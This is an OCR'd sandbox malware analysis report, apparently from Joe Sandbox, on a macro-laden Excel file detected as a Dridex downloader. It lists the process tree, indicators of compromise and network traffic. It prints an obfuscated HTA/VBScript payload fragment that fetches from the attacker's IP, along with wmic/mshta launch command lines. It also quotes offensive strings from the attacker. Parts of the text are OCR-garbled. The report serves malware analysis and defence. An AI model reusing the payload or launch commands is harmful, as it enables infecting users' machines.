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Windows Analysis Report order 4544471372.xls

Overview

General Information

Sample order 4544471372 .xls
Name:

Analysis ID: 532575

MD5: 531039a455e1f05.
SHAL: 4880df9e9409024.
SHA256: cf0d6ea61f8e56f...
Tags:

LS
b

Most interesting Screenshot:

BTl = | ey

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 800 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. jﬂ WMIC.exe (PID: 2012 cmdline: wmic process call create "mshta C:\ProgramData\tCeltZ.rtf* MD5: FD902835DEAEF4091799287736F3A028)

Detection

F MALICIOUS ]

Range:

Whitelisted:

Confidence:

Hidden Macro 4.0
Dridex Downloader

Office document tries to convince Vvi...
Yara detected Dridex Downloader:
Multi AV Scanner detection for subm...
Creates and opens a fake decument...
Found Excel 4.0 Macro with|suspicio...

Sigma detected: Microsoft Office Pr...

Document exploit detected (process...

Creates processes via \WMI

0-100

Found protected and hidden Excel 4...

Contains functionality to create praoc...

Found obfuscated Excel 4.0/ Macro

false

100%

Queries the velumelinfermation (nam...

Found a hidden Excell4.0/Macrojshe:..

%)
«Q
=3
4
c
=
(1
7]

Potential'documentexploit detected...

D
o
D

e Microsoft OUtiooK

. mshta.exe (PID: 1972 cmdline: mshta C:\ProgramData\tCeltZ.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample
Source
app.xml
Dropped Files

Source

C:\ProgramData\tCeltZ.rtf

Sigma Overview
Copyright Joe Security LLC 2021

Rule Description
JoeSecurity_XlIsWithMacro Yara detected Xls
4 With Macro 4.0
Rule Description
JoeSecurity_DridexDownlo Yara detected
ader Dridex
Downloader

Author Strings
Joe Security
Author Strings
Joe Security

Classification
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System Summary:

Jbx Signature Overview

@ Click to jump to signature section

AV Detection: I I

Multi AV Scanner detection for submitted file

Software Vulnerabilities: | I
E-Banking Fraud: I I

Yara detected Dridex Downloader

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection: I I

Mitre Att&ck Matrix

Command
Initial Privilege Credential Lateral and Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration Control Effects
Valid Windows Path Process Masquerading oS Virtualization/Sandbox Remote Email Exfiltration Encrypted Eavesdrop on
Accounts Management Interception  Injection Credential Evasion Services Collection g Over Other Channel §§ Insecure
Instrumentation Dumping Network Network
Medium Communicatio
Default  Scripting Boot or Boot or Disable or Modify LSASS Process Discovery Remote Archive Exfiltration  Non- Exploit SS7 to
Accounts Logon Logon Tools Memory Desktop Collected Over Standard  Redirect Phont
Initialization  Initialization Protocol Data Bluetooth  Port Calls/SMS
Scripts Scripts
Domain Exploitation for Client Logon Script Logon Virtualization/Sandbox Security File and Directory SMB/Windows Clipboard Automated Ingress Exploit SS7 to
Accounts Execution (Windows)  Script Evasion Account  Discovery Admin Shares Data Exfiltration  Tool Track Device
(Windows) Manager Transfer Location
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Command

Initial Privilege Credential Lateral and Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effects
Local At (Windows) Logon Script Logon Process Injection NTDS System Information Distributed Input Scheduled Non- SIM Card
Accounts (Mac) Script Discovery Component Capture Transfer Application Swap
(Mac) Object Model Layer
Protocol
Cloud Cron Network Network Scripting LSA Remote System SSH Keylogging  Data Application Manipulate
Accounts Logon Script Logon Secrets Discovery Transfer Layer Device
Script Size Limits Protocol Communicatio
Behavior Graph
Hide Legend
Legend:
Behavior Graph |:|
Process
ID: 532575
Sample: order 4544471372.X1s . Signature
Startdate: 02/12/2021
Architecture:  WINDOWS . Created File
Score: 96
Il onsieinfo
ﬂ Is Dropped
A% Is Windows Process

—---}

ﬂ@ EXCEL.EXE

= Bx

B
o0

started
e

o
) %
B

i
i
=

dropped dropped dropped

__

0@ 2 ]

\/

WMIC.exe

<]
C

Number of created Registry Values
Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

started

)

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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order 4544471372 - Microsoft Excel = & g

Home | Insert  Pagelayout  Formulas  Data  Review  View ca@o &=

- = = ] = e === 3 AutoSum ~ AT Ea

- - - =i - ) ~mm A

Calibri 11 A A P S Wrap Text General }g :ﬁ:,rj = < —_— 7
B I ie | By A~ Bl Merge & Center = $ - % + | %3 0 Conditional Format Cell | Insert Delete Format Sort& Find &
f Format Painter = B Mero ° 0 0 Eormatting = asTable = Styles~ | - - - 2 Clears  Fiter~ Select~

Clipboard Alignment Number Styles Cells Editing
c12

¥ cut
Ea copy v

Macros must be enabled to display correctly.
Please press "Enable Editing" and "Enable Content" to display.

M 4 » M| Sheetl
Ready |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

order 4544471372 xIs 13% ReversingLabs Document-
Excel.Trojan.Heuristic

Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/f149.129.254.152tf 0% Avira URL Cloud safe
hitp:/f149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpecY 0% Avira URL Cloud safe

hitp:/fschemas.op 0% Avira URL Cloud safe
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Source

http://ns.adobe.co

http://ns.adobe.co

http://149.K

http://ns.adobe.c

http://schemas.openformatrg/package/2006/content-t
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpc
http://ns.a
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
http://ns.ad
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dad.12
http://schemas.open

http://149.129.254.152:8080

http://149.129.254..6.07_

http://www.icra.org/vocabulary/.
http://schemas.openformatrg/package/2006/r
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5.macroE
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cped. ms-m
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cacro
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpcation/
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpeel.tem
http://ns.ado
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpcu
http:/fwww.%s.comPA

http://ns.adobe.

http://servernamef/isapibackend.dll

http://149.129.254.152:8V

Domains and IPs
Contacted Domains
No contacted domains info

Contacted URLs

Name
http://149.129.254.152:8080/6tfcnfucknugget4gpenis3dade5z6cpc

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag
149.129.254.152 unknown Singapore =

General Information

Joe Sandbox Version:

34.0.0 Boulder Opal

Analysis ID: 532575
Start date: 02.12.2021
Start time: 14:03:21
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 6m 5s

Copyright Joe Security LLC 2021

Malicious

false

Detection

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

Virustotal

Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud

Antivirus Detection

e Avira URL Cloud: safe

ASN
45102

Label Link
Browse
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Reputation

unknown

ASN Name Malicious

CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCo
LtdC

false
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https://www.virustotal.com/gui/url/c989358502e7655ef40851b86fd36ab24578b04df14e8564c7e461dbdc4a345a/detection/u-c989358502e7655ef40851b86fd36ab24578b04df14e8564c7e461dbdc4a345a-1594222184

Hypervisor based Inspection enabled: false

Report type: light
Sample file name: order 4544471372 xls
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)
Number of analysed new started processes 8
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal96.troj.expl.evad.winXLS@4/6 @0/1
EGA Information: Failed
HDC Information: Failed
HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .xls
e Found Word or Excel or PowerPoint or XPS Viewer
e Attach to Office via COM
e Scroll down
e Close Viewer
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
14:05:29 API Interceptor 12x Sleep call for process: WMIC.exe modified
14:05:30 API Interceptor 6x Sleep call for process: mshta.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

149.129.254.152 Get hash malicious Browse e 149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5

z6cpe

Get hash malicious Browse e 149.129.2
54.152:808
0/6tfenfuc
knugget4gp
enis3dade5
z6cpc

Copyright Joe Security LLC 2021 Page 9 of 16


https://view.joesandbox.com/analysis/419381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419381/html/none?idtype=webid
https://view.joesandbox.com/analysis/419353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419353/html/none?idtype=webid

Match

Domains

No context

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

149.129.2
54.152:808
0/6tfenfuc
knuggetdgp
enis3dade5
z6cpc

149.129.2
54.152:808
0/6tfenfuc
knuggetdgp
enis3dade5
z6cpc

149.129.2
54.152:808
0/6tfcnfuc
knuggetdgp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knuggetdgp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knuggetdgp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knuggetdgp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knuggetdgp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpe

149.129.2
54.152:808
0/6tfcnfuc
knugget4gp
enis3dade5
z6cpc
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https://view.joesandbox.com/analysis/419343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419343/html/none?idtype=webid
https://view.joesandbox.com/analysis/419339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419339/html/none?idtype=webid
https://view.joesandbox.com/analysis/419246/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419246/html/none?idtype=webid
https://view.joesandbox.com/analysis/419243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419243/html/none?idtype=webid
https://view.joesandbox.com/analysis/419242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419242/html/none?idtype=webid
https://view.joesandbox.com/analysis/419235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419235/html/none?idtype=webid
https://view.joesandbox.com/analysis/419232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419232/html/none?idtype=webid
https://view.joesandbox.com/analysis/419228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419228/html/none?idtype=webid
https://view.joesandbox.com/analysis/419215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419215/html/none?idtype=webid
https://view.joesandbox.com/analysis/419211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419211/html/none?idtype=webid
https://view.joesandbox.com/analysis/419200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419200/html/none?idtype=webid
https://view.joesandbox.com/analysis/419198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419198/html/none?idtype=webid
https://view.joesandbox.com/analysis/419197/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419197/html/none?idtype=webid

ASN

Match

CNNIC-ALIBABA-US-NET-
APAlibabaUSTechnologyCoLtdC

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

Get hash malicious Browse e 149.129.25
4.152

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Yara Hits:

Reputation:

C:\Program Files\Microsoft Office\Office L4\EXCEL.EXE

HTML document, ASCII text, with very long lines, with CRLF line terminators

modified

5004

5.102988854105844

false
96:NZVagS812z4VRIr+ZYjrPd06dtalqZPV1sCxKivM6YGYGIAHHIKZZz2mJIuR/x3VGK:NZQ012z4/1+ZYjbyKmagZ1xAnYPGMcym6
A98108794EDA278A4E8626B56FE4B231

COAB9E72BOE85C5BFB6B89F1428B5240EC6AEAGD
DE3A47367EF37CD391133E378F03FE317D98A7916E4E192E5513EC19159A10D9

33C3233FABFBIBAOA79E1IAAF7CD2F8861C81971454362315CFF8366D8647E91CFEBF49BA82E26FA7D090D92E203723D1C61F74BEDD0OA280145C000470BFDBAS
F

true
e Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\tCeltZ.rtf, Author: Joe Security

low
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https://view.joesandbox.com/analysis/419381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419381/html/none?idtype=webid
https://view.joesandbox.com/analysis/419353/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419353/html/none?idtype=webid
https://view.joesandbox.com/analysis/419348/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419348/html/none?idtype=webid
https://view.joesandbox.com/analysis/419344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419344/html/none?idtype=webid
https://view.joesandbox.com/analysis/419343/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419343/html/none?idtype=webid
https://view.joesandbox.com/analysis/419339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419339/html/none?idtype=webid
https://view.joesandbox.com/analysis/419338/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419338/html/none?idtype=webid
https://view.joesandbox.com/analysis/419334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419334/html/none?idtype=webid
https://view.joesandbox.com/analysis/419329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419329/html/none?idtype=webid
https://view.joesandbox.com/analysis/419246/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419246/html/none?idtype=webid
https://view.joesandbox.com/analysis/419243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419243/html/none?idtype=webid
https://view.joesandbox.com/analysis/419242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419242/html/none?idtype=webid
https://view.joesandbox.com/analysis/419235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419235/html/none?idtype=webid
https://view.joesandbox.com/analysis/419232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419232/html/none?idtype=webid
https://view.joesandbox.com/analysis/419228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419228/html/none?idtype=webid
https://view.joesandbox.com/analysis/419215/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419215/html/none?idtype=webid
https://view.joesandbox.com/analysis/419211/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419211/html/none?idtype=webid
https://view.joesandbox.com/analysis/419200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419200/html/none?idtype=webid
https://view.joesandbox.com/analysis/419198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419198/html/none?idtype=webid
https://view.joesandbox.com/analysis/419197/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419197/html/none?idtype=webid

Preview:
<IDOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"
..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >....Function PRGgdsXbPi()..Set u
PWUuUrSWKjJEMwcj = CreateObject(Chr(77) & "SX" & Chr(77) & ™ & ™" & Chr(76) & Chr(50) & ".Se" & "rv" & "erX" & "MLH" & Chr(84) & ™ & Chr(84) & "P." & "6.0" & "
")..uPWUUrSwWKjJEMwcj.Open ™ & "™ & ™ & " & "GE" & Chr(84) & ", "ht" & Chr(116) & "p:/" & Chr(47) & "14" &"9." & "12" & "9.2" & "54." & "™ & "152" & ":8" & "080" & ™" &
"/6" & " & "tfc" & "nfu" & Chr(99) & Chr(107) & "nu" & "gg" & "et" & "4g" & Chr(112) & "en" & "is" & "3da" & Chr(100) & " & " & "e5" & "z6c¢" & "pc", False ..uPWUurS
wKJJEMwcj.SetRequestHeader "User-Agent","rape"..uPWUurSwKjJEMwcj.Send..End Function....Function VKcVtLgGiyUyBtF()..NiJZKsgWiRQhouXQ = "wmi" & "c " & C
hr(112) & Chr(114) & "oc" & "ess" & Chr(32) & "cal" & "I " & Chr(99) &

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0O\83027875.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 1170 x 183, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 101504

Entropy (8bit): 7.9825226677650285

Encrypted: false

SSDEEP: 3072:LxMITOh4377gYIImQskO2UMXGVi2e/JjNxSan6NIjwSWExX0219dIND145:GahmlY OOeRnwNKIde145
MD5: AAACE969F3A7539F94F12DBA43D9D36F

SHA1L: 67FBAFD61ABB04C68A2C4E074959C49AF1CF6DBB

SHA-256: BC3719669DEBD201C5FE2E16EB38605287FDD5DAB45445264388A58282F28999

SHA-512: 78E78115A9929B04E5C4D26A735E9CC76831525A51C7CD97FDA849BD9377C3FEES03E770C7CFIB5FF1EOF13F0A4A38F21A8E164C1CA8C038F110D877EC7175C
Malicious: false

Reputation: moderate, very likely benign file

Preview:

IHDR............. I.t....JICCPICC Profile..x.W.TS...[RIh..H..R.K_E.*..I ...D...]D@].U.E..ZQ...].....L.LJ=...5.......{g...|....y.|Y|D.KB.......Z..X]...
. > *Q...(q--W.L.9....L..dY.h7C=....y.0@.*..% . C<’\er F.(%.A#.. XWb b*RDE&..QS.. k...
D..EByX F6->v.g.8l...L.Wi.R ...D.).1j.89.bm...(..fS$........m .J"B.. LY>< AL[$.scax . .5..C..c..$M.X.4?$"3..47Nc.S...J
P..24..=M=2z$...d.Ip.h.g.F$...._..[hNjT.... V.t <.r.oj.d[2x.5..a..)..&Z.Q..t.-.a.Pb$1..
J.F.8|;S.I.s.EY.+..5¢.....0.5.....Q.Zb..}X.v,;.....;.5€..J<...V..xU<9.G..?....r.z.n..|a....8.3e.,Q>....B.W..9

C:\Users\luser\Desktop\7E530000

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: Microsoft Excel 2007+

Category: dropped

Size (bytes): 155722

Entropy (8bit):  7.959548831007507

Encrypted: false

SSDEEP: 3072:TmULNF3WQyZsPid87QlawYXWwxMITOh4377gYIImQskO2UMXGVi2e/JjNxSan6Nu: TmULKkQ6sPu88JwTahmlYOOeRnwNKIdeP

MD5: 8AC1324488C58D023D2EB0OB3373F820D

SHA1L: 1CF1036172B47D06220C64EE3FA4AF140E4A7B34

SHA-256: 5624CB55533E5BA17FB289446E25C36BD6FD1CB9201CE1171B9ECD32D6C4128A

SHA-512: 58AD41812F9935AF616A9B34DCES52C10EES5220A34315412CD76F7AA2BAEALS2A9BA33C4EEBBF071A32FEB2D731DAEC868C43FC660C3B83EFCAOEF324803065
AE

Malicious: false

Reputation: low

Preview:

...[Content_Types].xml ...(..

y : ~..q.. .S.4. mhy .D;v<
..... Ul Foo Aok U, . J3} #.D.xs.K..146. LH

C:\Users\user\Desktop\7E530000:Zone.ldentifier

Process: C:\Program Files\Microsoft Office\Office L4A\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit):  3.95006375643621

Encrypted: false

SSDEEP: 3:9gPYViIrPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHAL: 6693BA299EC1881249D59262276A0D2CB21F8E6G4

SHA-256: 255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
Malicious: false

Reputation: high, very likely benign file

Preview:

[ZoneTransfer]....Zoneld=0
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Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Microsoft Excel 2007+

dropped

155722

7.959548831007507

false

3072:TmULNF3WQyZsPid87QlawYXWwxMITOh4377gYIImQskO2UMXGVi2e/JjNxSan6Nu: TmULKkQ6sPu88JwTahmlYOOeRnwNKIdeP
8AC1324488C58D023D2EB0OB3373F820D

1CF1036172B47D06220C64EE3FA4AF140E4A7B34
5624CB55533E5BA17FB289446E25C36BD6FD1CB9201CE1171B9ECD32D6C4128A

58AD41812F9935AF616A9B34DCE52C10EES220A34315412CD76F7AA2BAEA152A9BA33C4EEB8F071A32FEB2D731DAEC868C43FC660C3B83EFCAOEF324803065
AE

true

low

PK......l.z.dwa.. [CONEENT_TYPES]XIMI ..ttt bbb eo £ b e e b e e b e b s e b e e b £ o4 e b e eb £ oo £ b e e b e b e b e ebeh e e b £ b e b e eb b h s bt e et e b

..S.4.mhy..D;V<
~Tl X lTRRGGH

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

165

1.4377382811115937

false

3:vZ/FFDJIW2fV:vBFFGS

797869BB881CFBCDAC2064F92B26E46F
61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0OB081F185
1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCESBAD3A82D664E3C65CC5251D0E4A21F750911AESDC2FC3653E49F58!1
true

high, very likely benign file

.user LALDULS

Static File Info

General

File type: Microsoft Excel 2007+

Entropy (8bit): 7.950279542064319

TriD: e Excel Microsoft Office Open XML Format document

with Macro (51004/1) 51.52%
o Excel Microsoft Office Open XML Format document
(40004/1) 40.40%
e ZIP compressed archive (8000/1) 8.08%

File name: order 4544471372 xls

File size: 153116

MD5: 531039a455e1f0598cd201b785a1152a

SHAL: 4880df9e94090243029e54a34e941c70298401c7

SHA256: cf0d6ea61f8e56f80f24792e356adeab2f92b6db2f980a%e
5932415484f5b732

SHA512: 5a74dd1f8391f9991e43b1lee8af2cadddcOb7045116451
293f7fa2a5e0d90d9fac66f1eb8d766d03779d5adbebOe2
845709a2cce4663d70af875512e98b29f3

SSDEEP: 3072:910wcwAKQXICZPdXxMITOh4377gYIImQskO2UMX
GVi2e/JjNxSan6NIljwSWEX02IE:vOgAKeCahmlYOOeRn
WNKIdel4jd2

File Content Preview: PK.. 1.8v.

File Icon
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Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:
OLE File "order 4544471372 .xIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

e 149.129.254.152:8080

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49165
kBytes

Timestamp transferred Direction

Dec 2, 2021 0 ouT

14:05:30.279845953 CET

Dec 2, 2021 0 IN
14:05:30.945271969 CET

Copyright Joe Security LLC 2021

edeea286adb4bcb4

OpenXML
1

Destination IP Destination Port Process

149.129.254.152 8080 C:\Windows\System32\mshta.exe

Data

GET /6tfcnfucknugget4gpenis3dade5z6cpc HTTP/1.1
Connection: Keep-Alive

Accept: */*

Accept-Language: en-us

User-Agent: rape

Host: 149.129.254.152:8080

HTTP/1.1 200 OK

Server: nginx/1.15.12

Date: Thu, 02 Dec 2021 13:05:30 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 8

Connection: keep-alive

Data Raw: 68 69 20 6e 61 7a 69 73
Data Ascii: hi nazis
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Code Manipulations

Statistics

Behavior

@ Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 800 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

Registry Activities

Key Created

Key Value Created

14:04:25
02/12/2021

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

false

"C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE" /automation -Embedding

0x13f300000
28253536 bytes

D53B85E21886D2AF9815C377537BCAC3

true
true
C, C++ or other language
high

Show Windows behavior

Show Windows behavior

Analysis Process: WMIC.exe PID: 2012 Parent PID: 800

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Copyright Joe Security LLC 2021

14:05:28
02/12/2021
C:\Windows\System32\wbem\WMIC.exe

false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

wmic process call create "mshta C:\ProgramData\tCeltZ.rtf"
0xff760000

566272 bytes

FD902835DEAEF4091799287736F3A028

true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: mshta.exe PID: 1972 Parent PID: 1304

General

Start time: 14:05:29

Start date: 02/12/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

false

mshta C:\ProgramData\tCeltZ.rtf
0x13fdc0000

13824 bytes
95828D670CFD3B16EE188168E083C3C5
true

true

C, C++ or other language

high

Show Windows behavior

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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